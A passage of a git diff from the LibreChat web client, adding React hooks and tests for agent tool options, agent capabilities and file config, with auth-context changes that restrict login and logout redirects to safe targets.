+ tool1: { allowed_callers: ['code_execution'] }, + tool2: { allowed_callers: ['code_execution'] }, + }); + mockGetValues.mockReturnValue({ + tool1: { allowed_callers: ['code_execution'] }, + tool2: { allowed_callers: ['code_execution'] }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + const tools = [createMockTool('tool1'), createMockTool('tool2')]; + + act(() => { + result.current.toggleProgrammaticAll(tools); + }); + + expect(mockSetValue).toHaveBeenCalledWith('tool_options', {}, { shouldDirty: true }); + }); + + it('should make all programmatic when some are (brings to consistent state)', () => { + (useWatch as jest.Mock).mockReturnValue({ + tool1: { allowed_callers: ['code_execution'] }, + }); + mockGetValues.mockReturnValue({ + tool1: { allowed_callers: ['code_execution'] }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + const tools = [createMockTool('tool1'), createMockTool('tool2')]; + + act(() => { + result.current.toggleProgrammaticAll(tools); + }); + + expect(mockSetValue).toHaveBeenCalledWith( + 'tool_options', + { + tool1: { allowed_callers: ['code_execution'] }, + tool2: { allowed_callers: ['code_execution'] }, + }, + { shouldDirty: true }, + ); + }); + + it('should preserve defer_loading when making programmatic', () => { + (useWatch as jest.Mock).mockReturnValue({}); + mockGetValues.mockReturnValue({ + tool1: { defer_loading: true }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + const tools = [createMockTool('tool1'), createMockTool('tool2')]; + + act(() => { + result.current.toggleProgrammaticAll(tools); + }); + + expect(mockSetValue).toHaveBeenCalledWith( + 'tool_options', + { + tool1: { defer_loading: true, allowed_callers: ['code_execution'] }, + tool2: { allowed_callers: ['code_execution'] }, + }, + { shouldDirty: true }, + ); + }); + + it('should preserve defer_loading when removing programmatic', () => { + (useWatch as jest.Mock).mockReturnValue({ + tool1: { defer_loading: true, allowed_callers: ['code_execution'] }, + tool2: { allowed_callers: ['code_execution'] }, + }); + mockGetValues.mockReturnValue({ + tool1: { defer_loading: true, allowed_callers: ['code_execution'] }, + tool2: { allowed_callers: ['code_execution'] }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + const tools = [createMockTool('tool1'), createMockTool('tool2')]; + + act(() => { + result.current.toggleProgrammaticAll(tools); + }); + + expect(mockSetValue).toHaveBeenCalledWith( + 'tool_options', + { tool1: { defer_loading: true } }, + { shouldDirty: true }, + ); + }); + }); + + describe('formToolOptions', () => { + it('should return undefined when useWatch returns undefined', () => { + (useWatch as jest.Mock).mockReturnValue(undefined); + + const { result } = renderHook(() => useMCPToolOptions()); + + expect(result.current.formToolOptions).toBeUndefined(); + }); + + it('should return the tool options from useWatch', () => { + const toolOptions = { + tool1: { defer_loading: true }, + tool2: { allowed_callers: ['code_execution'] }, + }; + (useWatch as jest.Mock).mockReturnValue(toolOptions); + + const { result } = renderHook(() => useMCPToolOptions()); + + expect(result.current.formToolOptions).toEqual(toolOptions); + }); + }); +}); diff --git a/client/src/hooks/Agents/index.ts b/client/src/hooks/Agents/index.ts index 3597b0e646..a553da24a0 100644 --- a/client/src/hooks/Agents/index.ts +++ b/client/src/hooks/Agents/index.ts @@ -5,5 +5,7 @@ export type { ProcessedAgentCategory } from './useAgentCategories'; export { default as useAgentCapabilities } from './useAgentCapabilities'; export { default as useGetAgentsConfig } from './useGetAgentsConfig'; export { default as useAgentDefaultPermissionLevel } from './useAgentDefaultPermissionLevel'; +export { default as useAgentFileConfig } from './useAgentFileConfig'; export { default as useAgentToolPermissions } from './useAgentToolPermissions'; +export { default as useMCPToolOptions } from './useMCPToolOptions'; export * from './useApplyModelSpecAgents'; diff --git a/client/src/hooks/Agents/useAgentCapabilities.ts b/client/src/hooks/Agents/useAgentCapabilities.ts index 8d2bd6ef87..a0f3de025e 100644 --- a/client/src/hooks/Agents/useAgentCapabilities.ts +++ b/client/src/hooks/Agents/useAgentCapabilities.ts @@ -10,6 +10,8 @@ interface AgentCapabilitiesResult { fileSearchEnabled: boolean; webSearchEnabled: boolean; codeEnabled: boolean; + deferredToolsEnabled: boolean; + programmaticToolsEnabled: boolean; } export default function useAgentCapabilities( @@ -55,6 +57,16 @@ export default function useAgentCapabilities( [capabilities], ); + const deferredToolsEnabled = useMemo( + () => capabilities?.includes(AgentCapabilities.deferred_tools) ?? false, + [capabilities], + ); + + const programmaticToolsEnabled = useMemo( + () => capabilities?.includes(AgentCapabilities.programmatic_tools) ?? false, + [capabilities], + ); + return { ocrEnabled, codeEnabled, @@ -64,5 +76,7 @@ export default function useAgentCapabilities( artifactsEnabled, webSearchEnabled, fileSearchEnabled, + deferredToolsEnabled, + programmaticToolsEnabled, }; } diff --git a/client/src/hooks/Agents/useAgentFileConfig.ts b/client/src/hooks/Agents/useAgentFileConfig.ts new file mode 100644 index 0000000000..7f98f8d575 --- /dev/null +++ b/client/src/hooks/Agents/useAgentFileConfig.ts @@ -0,0 +1,36 @@ +import { useWatch } from 'react-hook-form'; +import { + EModelEndpoint, + mergeFileConfig, + resolveEndpointType, + getEndpointFileConfig, +} from 'librechat-data-provider'; +import type { EndpointFileConfig } from 'librechat-data-provider'; +import type { AgentForm } from '~/common'; +import { useGetFileConfig, useGetEndpointsQuery } from '~/data-provider'; + +export default function useAgentFileConfig(): { + endpointType: EModelEndpoint | string | undefined; + providerValue: string | undefined; + endpointFileConfig: EndpointFileConfig; +} { + const providerOption = useWatch({ name: 'provider' }); + const { data: endpointsConfig } = useGetEndpointsQuery(); + const { data: fileConfig = null } = useGetFileConfig({ + select: (data) => mergeFileConfig(data), + }); + + const providerValue = + typeof providerOption === 'string' + ? providerOption + : (providerOption as { value?: string } | undefined)?.value; + + const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents, providerValue); + const endpointFileConfig = getEndpointFileConfig({ + fileConfig, + endpointType, + endpoint: providerValue || EModelEndpoint.agents, + }); + + return { endpointType, providerValue, endpointFileConfig }; +} diff --git a/client/src/hooks/Agents/useApplyModelSpecAgents.ts b/client/src/hooks/Agents/useApplyModelSpecAgents.ts index 94d62a058a..2c677f85ca 100644 --- a/client/src/hooks/Agents/useApplyModelSpecAgents.ts +++ b/client/src/hooks/Agents/useApplyModelSpecAgents.ts @@ -1,4 +1,5 @@ import { useCallback } from 'react'; +import { Constants } from 'librechat-data-provider'; import type { TStartupConfig, TSubmission } from 'librechat-data-provider'; import { useUpdateEphemeralAgent, useApplyNewAgentTemplate } from '~/store/agents'; import { getModelSpec, applyModelSpecEphemeralAgent } from '~/utils'; @@ -6,6 +7,10 @@ import { getModelSpec, applyModelSpecEphemeralAgent } from '~/utils'; /** * Hook that applies a model spec from a preset to an ephemeral agent. * This is used when initializing a new conversation with a preset that has a spec. + * + * When a spec is provided, its tool settings are applied to the ephemeral agent. + * When no spec is provided but specs are configured, the ephemeral agent is reset + * to null so BadgeRowContext can apply localStorage defaults (non-spec experience). */ export function useApplyModelSpecEffects() { const updateEphemeralAgent = useUpdateEphemeralAgent(); @@ -20,6 +25,11 @@ export function useApplyModelSpecEffects() { startupConfig?: TStartupConfig; }) => { if (specName == null || !specName) { + if (startupConfig?.modelSpecs?.list?.length) { + /** Specs are configured but none selected — reset ephemeral agent to null + * so BadgeRowContext fills all values (tool toggles + MCP) from localStorage. */ + updateEphemeralAgent((convoId ?? Constants.NEW_CONVO) || Constants.NEW_CONVO, null); + } return; } @@ -80,6 +90,9 @@ export function useApplyAgentTemplate() { web_search: ephemeralAgent?.web_search ?? modelSpec.webSearch ?? false, file_search: ephemeralAgent?.file_search ?? modelSpec.fileSearch ?? false, execute_code: ephemeralAgent?.execute_code ?? modelSpec.executeCode ?? false, + artifacts: + ephemeralAgent?.artifacts ?? + (modelSpec.artifacts === true ? 'default' : modelSpec.artifacts || ''), }; mergedAgent.mcp = [...new Set(mergedAgent.mcp)]; diff --git a/client/src/hooks/Agents/useMCPToolOptions.ts b/client/src/hooks/Agents/useMCPToolOptions.ts new file mode 100644 index 0000000000..68cfb8f91b --- /dev/null +++ b/client/src/hooks/Agents/useMCPToolOptions.ts @@ -0,0 +1,183 @@ +import { useCallback } from 'react'; +import { useFormContext, useWatch } from 'react-hook-form'; +import type { AgentToolOptions, AllowedCaller, AgentToolType } from 'librechat-data-provider'; +import type { AgentForm } from '~/common'; + +interface UseMCPToolOptionsReturn { + formToolOptions: AgentToolOptions | undefined; + isToolDeferred: (toolId: string) => boolean; + isToolProgrammatic: (toolId: string) => boolean; + toggleToolDefer: (toolId: string) => void; + toggleToolProgrammatic: (toolId: string) => void; + areAllToolsDeferred: (tools: AgentToolType[]) => boolean; + areAllToolsProgrammatic: (tools: AgentToolType[]) => boolean; + toggleDeferAll: (tools: AgentToolType[]) => void; + toggleProgrammaticAll: (tools: AgentToolType[]) => void; +} + +export default function useMCPToolOptions(): UseMCPToolOptionsReturn { + const { getValues, setValue, control } = useFormContext(); + const formToolOptions = useWatch({ control, name: 'tool_options' }); + + const isToolDeferred = useCallback( + (toolId: string): boolean => formToolOptions?.[toolId]?.defer_loading === true, + [formToolOptions], + ); + + const isToolProgrammatic = useCallback( + (toolId: string): boolean => + formToolOptions?.[toolId]?.allowed_callers?.includes('code_execution') === true, + [formToolOptions], + ); + + const toggleToolDefer = useCallback( + (toolId: string) => { + const currentOptions = getValues('tool_options') || {}; + const currentToolOptions = currentOptions[toolId] || {}; + const newDeferred = !currentToolOptions.defer_loading; + + const updatedOptions: AgentToolOptions = { ...currentOptions }; + + if (newDeferred) { + updatedOptions[toolId] = { + ...currentToolOptions, + defer_loading: true, + }; + } else { + const { defer_loading: _, ...restOptions } = currentToolOptions; + if (Object.keys(restOptions).length === 0) { + delete updatedOptions[toolId]; + } else { + updatedOptions[toolId] = restOptions; + } + } + + setValue('tool_options', updatedOptions, { shouldDirty: true }); + }, + [getValues, setValue], + ); + + const toggleToolProgrammatic = useCallback( + (toolId: string) => { + const currentOptions = getValues('tool_options') || {}; + const currentToolOptions = currentOptions[toolId] || {}; + const currentCallers = currentToolOptions.allowed_callers || []; + const isProgrammatic = currentCallers.includes('code_execution'); + + const updatedOptions: AgentToolOptions = { ...currentOptions }; + + if (isProgrammatic) { + const newCallers = currentCallers.filter((c: AllowedCaller) => c !== 'code_execution'); + if (newCallers.length === 0) { + const { allowed_callers: _, ...restOptions } = currentToolOptions; + if (Object.keys(restOptions).length === 0) { + delete updatedOptions[toolId]; + } else { + updatedOptions[toolId] = restOptions; + } + } else { + updatedOptions[toolId] = { + ...currentToolOptions, + allowed_callers: newCallers, + }; + } + } else { + updatedOptions[toolId] = { + ...currentToolOptions, + allowed_callers: ['code_execution'] as AllowedCaller[], + }; + } + + setValue('tool_options', updatedOptions, { shouldDirty: true }); + }, + [getValues, setValue], + ); + + const areAllToolsDeferred = useCallback( + (tools: AgentToolType[]): boolean => + tools.length > 0 && + tools.every((tool) => formToolOptions?.[tool.tool_id]?.defer_loading === true), + [formToolOptions], + ); + + const areAllToolsProgrammatic = useCallback( + (tools: AgentToolType[]): boolean => + tools.length > 0 && + tools.every( + (tool) => + formToolOptions?.[tool.tool_id]?.allowed_callers?.includes('code_execution') === true, + ), + [formToolOptions], + ); + + const toggleDeferAll = useCallback( + (tools: AgentToolType[]) => { + if (tools.length === 0) return; + + const shouldDefer = !areAllToolsDeferred(tools); + const currentOptions = getValues('tool_options') || {}; + const updatedOptions: AgentToolOptions = { ...currentOptions }; + + for (const tool of tools) { + if (shouldDefer) { + updatedOptions[tool.tool_id] = { + ...(updatedOptions[tool.tool_id] || {}), + defer_loading: true, + }; + } else { + if (updatedOptions[tool.tool_id]) { + delete updatedOptions[tool.tool_id].defer_loading; + if (Object.keys(updatedOptions[tool.tool_id]).length === 0) { + delete updatedOptions[tool.tool_id]; + } + } + } + } + + setValue('tool_options', updatedOptions, { shouldDirty: true }); + }, + [getValues, setValue, areAllToolsDeferred], + ); + + const toggleProgrammaticAll = useCallback( + (tools: AgentToolType[]) => { + if (tools.length === 0) return; + + const shouldBeProgrammatic = !areAllToolsProgrammatic(tools); + const currentOptions = getValues('tool_options') || {}; + const updatedOptions: AgentToolOptions = { ...currentOptions }; + + for (const tool of tools) { + const currentToolOptions = updatedOptions[tool.tool_id] || {}; + if (shouldBeProgrammatic) { + updatedOptions[tool.tool_id] = { + ...currentToolOptions, + allowed_callers: ['code_execution'] as AllowedCaller[], + }; + } else { + if (updatedOptions[tool.tool_id]) { + delete updatedOptions[tool.tool_id].allowed_callers; + if (Object.keys(updatedOptions[tool.tool_id]).length === 0) { + delete updatedOptions[tool.tool_id]; + } + } + } + } + + setValue('tool_options', updatedOptions, { shouldDirty: true }); + }, + [getValues, setValue, areAllToolsProgrammatic], + ); + + return { + formToolOptions, + isToolDeferred, + isToolProgrammatic, + toggleToolDefer, + toggleToolProgrammatic, + areAllToolsDeferred, + areAllToolsProgrammatic, + toggleDeferAll, + toggleProgrammaticAll, + }; +} diff --git a/client/src/hooks/Agents/useSelectAgent.ts b/client/src/hooks/Agents/useSelectAgent.ts index 00c2753d93..30024c8f63 100644 --- a/client/src/hooks/Agents/useSelectAgent.ts +++ b/client/src/hooks/Agents/useSelectAgent.ts @@ -1,31 +1,29 @@ -import { useCallback, useState } from 'react'; +import { useCallback } from 'react'; import { useQueryClient } from '@tanstack/react-query'; import { Constants, QueryKeys, + dataService, EModelEndpoint, isAssistantsEndpoint, } from 'librechat-data-provider'; import type { TConversation, TPreset, Agent } from 'librechat-data-provider'; +import useGetConversation from '~/hooks/Conversations/useGetConversation'; import useDefaultConvo from '~/hooks/Conversations/useDefaultConvo'; import { useAgentsMapContext } from '~/Providers/AgentsMapContext'; -import { useChatContext } from '~/Providers/ChatContext'; -import { useGetAgentByIdQuery } from '~/data-provider'; +import useNewConvo from '~/hooks/useNewConvo'; import { logger } from '~/utils'; export default function useSelectAgent() { const queryClient = useQueryClient(); - const getDefaultConversation = useDefaultConvo(); - const { conversation, newConversation } = useChatContext(); const agentsMap = useAgentsMapContext(); - const [selectedAgentId, setSelectedAgentId] = useState( - conversation?.agent_id ?? null, - ); - - const agentQuery = useGetAgentByIdQuery(selectedAgentId); + const getDefaultConversation = useDefaultConvo(); + const { newConversation } = useNewConvo(); + const getConversation = useGetConversation(0); const updateConversation = useCallback( - (agent: Partial, template: Partial) => { + async (agent: Partial, template: Partial) => { + const conversation = await getConversation(); logger.log('conversation', 'Updating conversation with agent', agent); if (isAssistantsEndpoint(conversation?.endpoint)) { newConversation({ @@ -44,7 +42,7 @@ export default function useSelectAgent() { keepLatestMessage: true, }); }, - [conversation, getDefaultConversation, newConversation], + [getConversation, getDefaultConversation, newConversation], ); const onSelect = useCallback( @@ -54,30 +52,22 @@ export default function useSelectAgent() { return; } - setSelectedAgentId(agent.id); - const template: Partial = { endpoint: EModelEndpoint.agents, agent_id: agent.id, conversationId: Constants.NEW_CONVO as string, }; - updateConversation({ id: agent.id }, template); + await updateConversation({ id: agent.id }, template); - // Fetch full agent data in the background try { - await queryClient.invalidateQueries( - { - queryKey: [QueryKeys.agent, agent.id], - exact: true, - refetchType: 'active', - }, - { throwOnError: true }, + const fullAgent = await queryClient.fetchQuery([QueryKeys.agent, agent.id], () => + dataService.getAgentById({ + agent_id: agent.id, + }), ); - - const { data: fullAgent } = await agentQuery.refetch(); if (fullAgent) { - updateConversation(fullAgent, { ...template, agent_id: fullAgent.id }); + await updateConversation(fullAgent, { ...template, agent_id: fullAgent.id }); } } catch (error) { if ((error as { silent: boolean } | undefined)?.silent) { @@ -85,10 +75,10 @@ export default function useSelectAgent() { return; } console.error('Error fetching full agent data:', error); - updateConversation({}, { ...template, agent_id: undefined }); + await updateConversation({}, { ...template, agent_id: undefined }); } }, - [agentsMap, updateConversation, queryClient, agentQuery], + [agentsMap, updateConversation, queryClient], ); return { onSelect }; diff --git a/client/src/hooks/Artifacts/useArtifactProps.ts b/client/src/hooks/Artifacts/useArtifactProps.ts index 2b898934c4..ce5e30cf5a 100644 --- a/client/src/hooks/Artifacts/useArtifactProps.ts +++ b/client/src/hooks/Artifacts/useArtifactProps.ts @@ -1,17 +1,21 @@ -import { useMemo } from 'react'; +import { useContext, useMemo } from 'react'; +import { ThemeContext, isDark } from '@librechat/client'; import { removeNullishValues } from 'librechat-data-provider'; import type { Artifact } from '~/common'; import { getKey, getProps, getTemplate, getArtifactFilename } from '~/utils/artifacts'; -import { getMermaidFiles } from '~/utils/mermaid'; import { getMarkdownFiles } from '~/utils/markdown'; +import { getMermaidFiles } from '~/utils/mermaid'; export default function useArtifactProps({ artifact }: { artifact: Artifact }) { + const { theme } = useContext(ThemeContext); + const isDarkMode = isDark(theme); + const [fileKey, files] = useMemo(() => { const key = getKey(artifact.type ?? '', artifact.language); const type = artifact.type ?? ''; if (key.includes('mermaid')) { - return ['diagram.mmd', getMermaidFiles(artifact.content ?? '')]; + return ['diagram.mmd', getMermaidFiles(artifact.content ?? '', isDarkMode)]; } if (type === 'text/markdown' || type === 'text/md' || type === 'text/plain') { @@ -23,7 +27,7 @@ export default function useArtifactProps({ artifact }: { artifact: Artifact }) { [fileKey]: artifact.content, }); return [fileKey, files]; - }, [artifact.type, artifact.content, artifact.language]); + }, [artifact.type, artifact.content, artifact.language, isDarkMode]); const template = useMemo( () => getTemplate(artifact.type ?? '', artifact.language), diff --git a/client/src/hooks/Artifacts/useAutoScroll.ts b/client/src/hooks/Artifacts/useAutoScroll.ts deleted file mode 100644 index 1ddb9feb98..0000000000 --- a/client/src/hooks/Artifacts/useAutoScroll.ts +++ /dev/null @@ -1,47 +0,0 @@ -// hooks/useAutoScroll.ts -import { useEffect, useState } from 'react'; - -interface UseAutoScrollProps { - ref: React.RefObject; - content: string; - isSubmitting: boolean; -} - -export const useAutoScroll = ({ ref, content, isSubmitting }: UseAutoScrollProps) => { - const [userScrolled, setUserScrolled] = useState(false); - - useEffect(() => { - const scrollContainer = ref.current; - if (!scrollContainer) { - return; - } - - const handleScroll = () => { - const { scrollTop, scrollHeight, clientHeight } = scrollContainer; - const isNearBottom = scrollHeight - scrollTop - clientHeight < 50; - - if (!isNearBottom) { - setUserScrolled(true); - } else { - setUserScrolled(false); - } - }; - - scrollContainer.addEventListener('scroll', handleScroll); - - return () => { - scrollContainer.removeEventListener('scroll', handleScroll); - }; - }, [ref]); - - useEffect(() => { - const scrollContainer = ref.current; - if (!scrollContainer || !isSubmitting || userScrolled) { - return; - } - - scrollContainer.scrollTop = scrollContainer.scrollHeight; - }, [content, isSubmitting, userScrolled, ref]); - - return { userScrolled }; -}; diff --git a/client/src/hooks/AuthContext.tsx b/client/src/hooks/AuthContext.tsx index d9d583783a..c55980c0d2 100644 --- a/client/src/hooks/AuthContext.tsx +++ b/client/src/hooks/AuthContext.tsx @@ -3,7 +3,6 @@ import { useMemo, useState, useEffect, - ReactNode, useContext, useCallback, createContext, @@ -11,8 +10,14 @@ import { import { debounce } from 'lodash'; import { useRecoilState } from 'recoil'; import { useNavigate } from 'react-router-dom'; -import { setTokenHeader, SystemRoles } from 'librechat-data-provider'; +import { + apiBaseUrl, + SystemRoles, + setTokenHeader, + buildLoginRedirectUrl, +} from 'librechat-data-provider'; import type * as t from 'librechat-data-provider'; +import type { ReactNode } from 'react'; import { useGetRole, useGetUserQuery, @@ -21,6 +26,7 @@ import { useRefreshTokenMutation, } from '~/data-provider'; import { TAuthConfig, TUserContext, TAuthContext, TResError } from '~/common'; +import { SESSION_KEY, isSafeRedirect, getPostLoginRedirect } from '~/utils'; import useTimeout from './useTimeout'; import store from '~/store'; @@ -33,11 +39,12 @@ const AuthContextProvider = ({ authConfig?: TAuthConfig; children: ReactNode; }) => { + const isExternalRedirectRef = useRef(false); const [user, setUser] = useRecoilState(store.user); + const logoutRedirectRef = useRef(undefined); const [token, setToken] = useState(undefined); const [error, setError] = useState(undefined); const [isAuthenticated, setIsAuthenticated] = useState(false); - const logoutRedirectRef = useRef(undefined); const { data: userRole = null } = useGetRole(SystemRoles.USER, { enabled: !!(isAuthenticated && (user?.role ?? '')), @@ -54,24 +61,25 @@ const AuthContextProvider = ({ const { token, isAuthenticated, user, redirect } = userContext; setUser(user); setToken(token); - //@ts-ignore - ok for token to be undefined initially setTokenHeader(token); setIsAuthenticated(isAuthenticated); - // Use a custom redirect if set - const finalRedirect = logoutRedirectRef.current || redirect; - // Clear the stored redirect + const searchParams = new URLSearchParams(window.location.search); + const postLoginRedirect = getPostLoginRedirect(searchParams); + + const logoutRedirect = logoutRedirectRef.current; logoutRedirectRef.current = undefined; + const finalRedirect = + logoutRedirect ?? + postLoginRedirect ?? + (redirect && isSafeRedirect(redirect) ? redirect : null); + if (finalRedirect == null) { return; } - if (finalRedirect.startsWith('http://') || finalRedirect.startsWith('https://')) { - window.location.href = finalRedirect; - } else { - navigate(finalRedirect, { replace: true }); - } + navigate(finalRedirect, { replace: true }); }, 50), [navigate, setUser], ); @@ -81,7 +89,6 @@ const AuthContextProvider = ({ onSuccess: (data: t.TLoginResponse) => { const { user, token, twoFAPending, tempToken } = data; if (twoFAPending) { - // Redirect to the two-factor authentication route. navigate(`/login/2fa?tempToken=${tempToken}`, { replace: true }); return; } @@ -91,16 +98,34 @@ const AuthContextProvider = ({ onError: (error: TResError | unknown) => { const resError = error as TResError; doSetError(resError.message); - navigate('/login', { replace: true }); + // Preserve a valid redirect_to across login failures so the deep link survives retries. + // Cannot use buildLoginRedirectUrl() here — it reads the current pathname (already /login) + // and would return plain /login, dropping the redirect_to destination. + const redirectTo = new URLSearchParams(window.location.search).get('redirect_to'); + const loginPath = + redirectTo && isSafeRedirect(redirectTo) + ? `/login?redirect_to=${encodeURIComponent(redirectTo)}` + : '/login'; + navigate(loginPath, { replace: true }); }, }); const logoutUser = useLogoutUserMutation({ onSuccess: (data) => { + if (data.redirect) { + /** data.redirect is the IdP's end_session_endpoint URL — an absolute URL generated + * server-side from trusted IdP metadata (not user input), so isSafeRedirect is bypassed. + * setUserContext is debounced (50ms) and won't fire before page unload, so clear the + * axios Authorization header synchronously to prevent in-flight requests. */ + isExternalRedirectRef.current = true; + setTokenHeader(undefined); + window.location.replace(data.redirect); + return; + } setUserContext({ token: undefined, isAuthenticated: false, user: undefined, - redirect: data.redirect ?? '/login', + redirect: '/login', }); }, onError: (error) => { @@ -136,35 +161,60 @@ const AuthContextProvider = ({ console.log('Test mode. Skipping silent refresh.'); return; } + if (isExternalRedirectRef.current) { + return; + } refreshToken.mutate(undefined, { onSuccess: (data: t.TRefreshTokenResponse | undefined) => { + if (isExternalRedirectRef.current) { + return; + } const { user, token = '' } = data ?? {}; if (token) { - setUserContext({ token, isAuthenticated: true, user }); - } else { - console.log('Token is not present. User is not authenticated.'); - if (authConfig?.test === true) { - return; - } - navigate('/login'); + const storedRedirect = sessionStorage.getItem(SESSION_KEY); + sessionStorage.removeItem(SESSION_KEY); + const baseUrl = apiBaseUrl(); + const rawPath = window.location.pathname; + const strippedPath = + baseUrl && (rawPath === baseUrl || rawPath.startsWith(baseUrl + '/')) + ? rawPath.slice(baseUrl.length) || '/' + : rawPath; + const currentUrl = `${strippedPath}${window.location.search}`; + const fallbackRedirect = isSafeRedirect(currentUrl) ? currentUrl : '/c/new'; + const redirect = + storedRedirect && isSafeRedirect(storedRedirect) ? storedRedirect : fallbackRedirect; + setUserContext({ user, token, isAuthenticated: true, redirect }); + return; } + console.log('Token is not present. User is not authenticated.'); + if (authConfig?.test === true) { + return; + } + navigate(buildLoginRedirectUrl()); }, onError: (error) => { + if (isExternalRedirectRef.current) { + return; + } console.log('refreshToken mutation error:', error); if (authConfig?.test === true) { return; } - navigate('/login'); + navigate(buildLoginRedirectUrl()); }, }); + // eslint-disable-next-line react-hooks/exhaustive-deps -- deps are stable at mount; adding refreshToken causes infinite re-fire }, []); useEffect(() => { + if (isExternalRedirectRef.current) { + return; + } if (userQuery.data) { setUser(userQuery.data); } else if (userQuery.isError) { doSetError((userQuery.error as Error).message); - navigate('/login', { replace: true }); + navigate(buildLoginRedirectUrl(), { replace: true }); } if (error != null && error && isAuthenticated) { doSetError(undefined); @@ -186,24 +236,22 @@ const AuthContextProvider = ({ ]); useEffect(() => { - const handleTokenUpdate = (event) => { + const handleTokenUpdate = (event: CustomEvent) => { console.log('tokenUpdated event received event'); - const newToken = event.detail; setUserContext({ - token: newToken, + token: event.detail, isAuthenticated: true, user: user, }); }; - window.addEventListener('tokenUpdated', handleTokenUpdate); + window.addEventListener('tokenUpdated', handleTokenUpdate as EventListener); return () => { - window.removeEventListener('tokenUpdated', handleTokenUpdate); + window.removeEventListener('tokenUpdated', handleTokenUpdate as EventListener); }; }, [setUserContext, user]); - // Make the provider update only when it should const memoedValue = useMemo( () => ({ user, diff --git a/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx b/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx index e0dbac5a1e..ba83b0aeb5 100644 --- a/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx +++ b/client/src/hooks/Chat/__tests__/useFocusChatEffect.spec.tsx @@ -39,14 +39,12 @@ describe('useFocusChatEffect', () => { state: { focusChat: true }, }); - // Mock window.location - Object.defineProperty(window, 'location', { - value: { - pathname: '/c/new', - search: '', - }, - writable: true, - }); + // Set default window.location + window.history.replaceState({}, '', '/c/new'); + }); + + afterEach(() => { + window.history.replaceState({}, '', '/'); }); describe('Basic functionality', () => { @@ -115,14 +113,7 @@ describe('useFocusChatEffect', () => { testDescription: string; }) => { test(`${testDescription}`, () => { - // Mock window.location - Object.defineProperty(window, 'location', { - value: { - pathname: '/c/new', - search: windowLocationSearch, - }, - writable: true, - }); + window.history.replaceState({}, '', `/c/new${windowLocationSearch}`); // Mock React Router's location (useLocation as jest.Mock).mockReturnValue({ @@ -144,13 +135,7 @@ describe('useFocusChatEffect', () => { }; test('should use window.location.search instead of location.search', () => { - Object.defineProperty(window, 'location', { - value: { - pathname: '/c/new', - search: '?agent_id=test_agent_id', - }, - writable: true, - }); + window.history.replaceState({}, '', '/c/new?agent_id=test_agent_id'); (useLocation as jest.Mock).mockReturnValue({ pathname: '/c/new', @@ -223,13 +208,7 @@ describe('useFocusChatEffect', () => { }); test('should handle navigation immediately after URL parameter changes', () => { - Object.defineProperty(window, 'location', { - value: { - pathname: '/c/new', - search: '?endpoint=openAI&model=gpt-4', - }, - writable: true, - }); + window.history.replaceState({}, '', '/c/new?endpoint=openAI&model=gpt-4'); (useLocation as jest.Mock).mockReturnValue({ pathname: '/c/new', @@ -249,13 +228,7 @@ describe('useFocusChatEffect', () => { jest.clearAllMocks(); - Object.defineProperty(window, 'location', { - value: { - pathname: '/c/new', - search: '?agent_id=agent123', - }, - writable: true, - }); + window.history.replaceState({}, '', '/c/new?agent_id=agent123'); (useLocation as jest.Mock).mockReturnValue({ pathname: '/c/new_changed', @@ -275,13 +248,7 @@ describe('useFocusChatEffect', () => { }); test('should handle undefined or null search params gracefully', () => { - Object.defineProperty(window, 'location', { - value: { - pathname: '/c/new', - search: undefined, - }, - writable: true, - }); + window.history.replaceState({}, '', '/c/new'); (useLocation as jest.Mock).mockReturnValue({ pathname: '/c/new', @@ -301,14 +268,6 @@ describe('useFocusChatEffect', () => { jest.clearAllMocks(); - Object.defineProperty(window, 'location', { - value: { - pathname: '/c/new', - search: null, - }, - writable: true, - }); - (useLocation as jest.Mock).mockReturnValue({ pathname: '/c/new', search: null, @@ -327,13 +286,7 @@ describe('useFocusChatEffect', () => { }); test('should handle navigation when location.state is null', () => { - Object.defineProperty(window, 'location', { - value: { - pathname: '/c/new', - search: '?agent_id=agent123', - }, - writable: true, - }); + window.history.replaceState({}, '', '/c/new?agent_id=agent123'); (useLocation as jest.Mock).mockReturnValue({ pathname: '/c/new', @@ -348,13 +301,7 @@ describe('useFocusChatEffect', () => { }); test('should handle navigation when location.state.focusChat is undefined', () => { - Object.defineProperty(window, 'location', { - value: { - pathname: '/c/new', - search: '?agent_id=agent123', - }, - writable: true, - }); + window.history.replaceState({}, '', '/c/new?agent_id=agent123'); (useLocation as jest.Mock).mockReturnValue({ pathname: '/c/new', @@ -369,13 +316,7 @@ describe('useFocusChatEffect', () => { }); test('should handle navigation when both search params are empty', () => { - Object.defineProperty(window, 'location', { - value: { - pathname: '/c/new', - search: '', - }, - writable: true, - }); + window.history.replaceState({}, '', '/c/new'); (useLocation as jest.Mock).mockReturnValue({ pathname: '/c/new', diff --git a/client/src/hooks/Chat/useAddedResponse.ts b/client/src/hooks/Chat/useAddedResponse.ts index c01cef0c69..fe35e4e56e 100644 --- a/client/src/hooks/Chat/useAddedResponse.ts +++ b/client/src/hooks/Chat/useAddedResponse.ts @@ -1,7 +1,12 @@ import { useCallback } from 'react'; import { useRecoilValue } from 'recoil'; import { useGetModelsQuery } from 'librechat-data-provider/react-query'; -import { getEndpointField, LocalStorageKeys, isAssistantsEndpoint } from 'librechat-data-provider'; +import { + getEndpointField, + LocalStorageKeys, + isAssistantsEndpoint, + getDefaultParamsEndpoint, +} from 'librechat-data-provider'; import type { TEndpointsConfig, EModelEndpoint, TConversation } from 'librechat-data-provider'; import type { AssistantListItem, NewConversationParams } from '~/common'; import useAssistantListMap from '~/hooks/Assistants/useAssistantListMap'; @@ -84,11 +89,13 @@ export default function useAddedResponse() { } const models = modelsConfig?.[defaultEndpoint ?? ''] ?? []; + const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, defaultEndpoint); newConversation = buildDefaultConvo({ conversation: newConversation, lastConversationSetup: preset as TConversation, endpoint: defaultEndpoint ?? ('' as EModelEndpoint), models, + defaultParamsEndpoint, }); if (preset?.title != null && preset.title !== '') { diff --git a/client/src/hooks/Chat/useChatFunctions.ts b/client/src/hooks/Chat/useChatFunctions.ts index 8479d8eaac..7cf8c6bf25 100644 --- a/client/src/hooks/Chat/useChatFunctions.ts +++ b/client/src/hooks/Chat/useChatFunctions.ts @@ -13,6 +13,7 @@ 